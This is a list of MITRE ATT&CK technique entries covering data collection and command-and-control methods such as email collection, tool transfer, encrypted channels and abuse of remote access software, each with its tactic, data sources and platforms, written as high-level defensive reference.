Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre